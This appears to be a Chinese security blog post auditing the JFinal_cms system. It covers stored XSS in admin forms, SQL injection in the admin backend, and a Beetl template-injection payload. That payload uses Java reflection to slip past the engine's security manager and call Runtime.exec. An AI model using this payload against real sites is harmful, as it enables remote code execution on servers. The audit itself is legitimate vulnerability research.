對Java JFinal_cms的一次審計過程

聲明

出品|先知社區(qū)(ID:LeeH)

以下內(nèi)容,來自先知社區(qū)的LeeH作者原創(chuàng),由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失,均由使用者本人負(fù)責(zé),長白山攻防實驗室以及文章作者不承擔(dān)任何責(zé)任。

環(huán)境搭建

首先就是源碼的下載,之后只需要配置一下Mysql數(shù)據(jù)庫相關(guān)的配置就能夠啟動CMS

我們首先使用idea工具打開該項目源碼, idea將會自動加載依賴

之后我們將sql/jfinal_cms_v4.sql中的數(shù)據(jù)庫結(jié)構(gòu)進(jìn)行配置

我這里修改了一下,在前面加入了create database jfinal_cms; /use

jfinal_cms;這兩條命令,可以直接將sql代碼放入navicat進(jìn)行運行配置

或者可以采用在mysql命令行創(chuàng)建庫名之后使用source命令進(jìn)行加載,最后就是配置Tomcat運行

源碼分析

架構(gòu)

我們首先關(guān)注一下該CMS的技術(shù)選擇
  1. web框架:JFinal
  2. 模板引擎:beetl
  3. 數(shù)據(jù)庫:mysql
  4. 前端:bootstrap框架
我們同樣可以編寫一個小工具針對pom.xml中的依賴,從maven倉庫中探測處每一個依賴是否是具有漏洞的版本

審計

這里我們采用黑盒和白盒相結(jié)合的方法進(jìn)行審計,我們從白盒角度考慮首先從后臺管理開始尋找脆弱點(因為一般的系統(tǒng),后臺總是比主頁更加脆弱)

關(guān)于admin的源碼,可以定位到com.jflyfox.mod-ules.admin包下

在其中的AdminController類中

其路由為/admin,默認(rèn)頁面調(diào)用了index方法,初次登錄,將會調(diào)用reader方法進(jìn)行/pages/ad-min/login.html頁面的渲染

這里的reader方法也就是調(diào)用了com.jfi-nal.core.Controller抽象類下的render方法,使用配置的模板引擎進(jìn)行渲染操作

主要是因為這個方法是實現(xiàn)了JFinalConfig類的方法,而在com.jfinal.core.Config類中的con-figJFinal方法是存在JFinalConfig類的方法調(diào)用的

包含有

  • constant

  • interceptor

  • route

  • plugin

  • engine

  • handler

  • 這些配置

    所謂"知己知彼", 對項目的足夠的熟悉,對于項目的漏洞挖掘來說也是不可或缺的一個重要部分

    XSS1

    在這個CMS中,針對XSS的防護(hù)幾乎為零,在后臺管理中,就是幾乎沒有任何的防御錯誤,各種的存儲型XSS層出不窮,幾乎是有框就有XSS

    如果在這些位置能夠插入XSS payload就好了,但是經(jīng)過嘗試,不能夠直接插入payload,會有格式的錯誤

    我們看看是如何進(jìn)行驗證的,對應(yīng)的Controller為RegistController類

    XSS2

    不同于前面直接在創(chuàng)建用戶的位置插入payload

    這里定位到后端代碼就是com.jflyfox.modules.fro-nt.controller.PersonController類中

    XSS3

    然而,攻擊者仍有可能利用一些漏洞來繞過escapeHtml方法的檢查。下面是一些常見的繞過方法:

    1.利用HTML實體名稱的漏洞:攻擊者可能會使用HTML實體名稱的漏洞來繞過escapeHtml方法。

    2.利用Unicode編碼的漏洞:攻擊者可能會使用Unicode編碼的漏洞來繞過escapeHtml方法。

    此外,攻擊者還可能會使用HTML注釋的漏洞、HTML屬性的漏洞等來繞過escapeHtml方法的檢查。

    SSTI

    這里既然使用了一個模板引擎進(jìn)行渲染,使用的是beetl,沒怎么使用過這種引擎,學(xué)習(xí)一下,看看是否具有SSTI的漏洞的產(chǎn)生

    他的官方文檔地址在https://www.kancloud.c-n/xiandafu/beetl3_guide

    我這里簡單記了一些相關(guān)關(guān)鍵的內(nèi)容

    基本的模板語法

    模板的配置

    默認(rèn)配置在/org/beetl/core/beetldefault.proper-ties里,Beetl首先加載此配置文件,然后再加載classpath里的beetl.properties,并用后者覆蓋前者。配置文件通過Configuration類加載,因此加載完成后,也可以通過此類API來修改配置信息

    下面是一些需要關(guān)注的配置

    # 指定占位符DELIMITER_PLACEHOLDER_START=${DELIMITER_PLACEHOLDER_END=}# 指定定界符DELIMITER_STATEMENT_START=<%DELIMITER_STATEMENT_END=%># 字符集TEMPLATE_CHARSET = UTF-8# 指定本地Class調(diào)用的安全策略NATIVE_SECUARTY_MANAGER= org.beetl.core.DefaultNativeSecurityManager

    定界符和占位符,默認(rèn)為

    <%var a = 2;var b = 3;var result = a+b;%>hello 2+3=${result}

    同樣可以自定義定界符和占位符,注釋

    ///**/

    屬性

  • 使用${xxx.name}

  • 如果為數(shù)組或者List,?${user[0]}

  • 需要知道Java集合,數(shù)組長度,統(tǒng)一用虛擬屬性~size來表示

  • var list=[1,2,3];var size = list.~size

    函數(shù)調(diào)用

  • print打印一個對象print(user.name);

  • json將對象轉(zhuǎn)成json字符串,如var data=json(userList)可以跟一個序列化規(guī)則,如var data=json(userList,"[*].id:i"),具體參考https://gi-t.oschina.net/xiandafu/beetl-json

  • decode一個簡化的if else結(jié)構(gòu),如dec-ode(a,1,"a=1",2,"a=2","不知道了"),如果a是1,這decode輸出"a=1",如果a是2,則輸出"a==2", 如果是其他值,則輸出"不知道了"

  • flush強制io輸出

  • pageCtx ,僅僅在web開發(fā)中,設(shè)置一個變量,然后可以在頁面渲染過程中,調(diào)用此api獲取,如pageCtx("title","用戶添加頁面"),在其后任何地方,可以pageCtx("title") 獲取該變量

  • type.new創(chuàng)建一個對象實例,如var user=type.new("com.xx.User"); 如果配置了IMPORT_PACKAGE,則可以省略包,type.new("User")

  • type.name返回一個實例的名字,var userClassName=type.name(user),返回"User"

  • global返回一個全局變量值,參數(shù)是一個字符串,如var user= global("user_"+i);

  • cookie返回指定的cookie對象,如var userCoo= cookie("user"),allCookies = cookie();

  • 安全輸出

  • 如果變量為空,不進(jìn)行輸出,可以在變量引用后加上?!?以提醒beetl這是一個安全輸出的變量,變量確實有可能不存在

  • 如${user.wife.name! },即使user不存在,或者user為null,或者user.wife為null,或者user.wife.name為null beetl都不將輸出可以在!后增加一個常量(字符串,數(shù)字類型等),或者另外一個變量,方法,本地調(diào)用,作為默認(rèn)輸出,譬如:

  • ${user.wife.name!"單身"}`,如果user為null,或者user.wife為null,或者user.wife.name為null,輸出`單身

    調(diào)用Java方法和屬性

    ${@user.getMaxFriend(“l(fā)ucy”)}${@user.maxFriend[0].getName()}${@com.xxxx.constants.Order.getMaxNum()}${@com.xxxx.User$Gender.MAN}<%var max = @com.xxxx.constants.Order.MAX_NUM;var c =1;var d = @user.getWife(c).getName();%>

    可以調(diào)用instance的public方法和屬性,也可以調(diào)用靜態(tài)類的屬性和方法 ,需要加一個 @指示此調(diào)用是直接調(diào)用class,其后的表達(dá)式是java風(fēng)格的。

  • GroupTemplate可以配置為不允許直接調(diào)用Class以增強安全性,具體請參考配置文件

  • 也可以通過安全管理器配置到底哪些類Beetl不允許調(diào)用,具體請參考高級用法。默認(rèn)情況,java.lang.Runtime,和java.lang.Process不允許在模板里調(diào)用。你自己的安全管理器也可以配置為不能直接訪問DAO類(避免了以前 JSP 可以訪問任意代碼帶來的危害)
  • 自定義安全管理器

    所有模板的本地調(diào)用都需要通過安全管理器校驗,默認(rèn)需要實現(xiàn)NativeSecurityManager的public boolean permit(String resourceId, Class c, Object target, String method) 方法

    如下是默認(rèn)管理器的實現(xiàn)方法

    public?class?DefaultNativeSecurityManager?implements?NativeSecurityManager{  @Override  public boolean permit(String resourceId, Class c, Object target, String method){    if (c.isArray()){      //允許調(diào)用,但實際上會在在其后調(diào)用中報錯。不歸此處管理      return true;    }    String name = c.getSimpleName();    String pkg = c.getPackage().getName();    if (pkg.startsWith("java.lang")){      if (name.equals("Runtime") || name.equals("Process") || name.equals("ProcessBuilder")          || name.equals("System")){        return false;      }    }    return true;  }}

    我們這里按照其他模板引擎的數(shù)據(jù),將備注修改為了${4+4},但是在渲染之后并沒有執(zhí)行這個模板語法,也即是渲染出4這個值

    轉(zhuǎn)而顯示的是${4+4}這個字符串

    這里就和我們之前學(xué)習(xí)的freemarker這個模板引擎很相似,同樣利用的點是在模板語法本身,不同于velocity等引擎,如果直接渲染用戶輸入payload將會被轉(zhuǎn)碼而失效

    所以這里的利用場景應(yīng)該和freemarker一樣,為上傳點或者修改模板文件點,接下來我們尋找該CMS的上傳位置

    仔細(xì)看了一圈,前臺并沒有什么上傳點,之后選擇看看后臺

    這里存在有一個模板管理的功能。這里能夠編輯模板,我們可以在這里對模板文件進(jìn)行編輯,添加上我們的payload

    ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

    這里解釋一下這個payload的構(gòu)造。根據(jù)前面我們對beelt的了解,我們知道它內(nèi)置了一個調(diào)用本地Class的安全策略

    # 指定本地Class調(diào)用的安全策略NATIVE_SECUARTY_MANAGER= org.beetl.core.DefaultNativeSecurityManager

    return !pkgName.startsWith("java.lang") || !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("System");

    默認(rèn)是不能夠直接進(jìn)行系統(tǒng)調(diào)用的,我們這里利用的是Java的反射機制,結(jié)合beelt的模板語法構(gòu)造惡意payload

    SQL

    在前端中幾乎所有的數(shù)據(jù)庫交互都是使用的Jfinal框架中的接口,使用的是預(yù)編譯的方法,有效避免了SQL注入的產(chǎn)生,但是在后臺中存在有大量的SQL注入,未經(jīng)過濾就和sql語句進(jìn)行拼接,造成了SQl注入的產(chǎn)生

    其他位置還有很多,觸發(fā)原因都是類似的


    歡迎關(guān)注長白山攻防實驗室微信公眾號定期更新優(yōu)質(zhì)文章分享

    ?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
    【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
    平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

    相關(guān)閱讀更多精彩內(nèi)容

    友情鏈接更多精彩內(nèi)容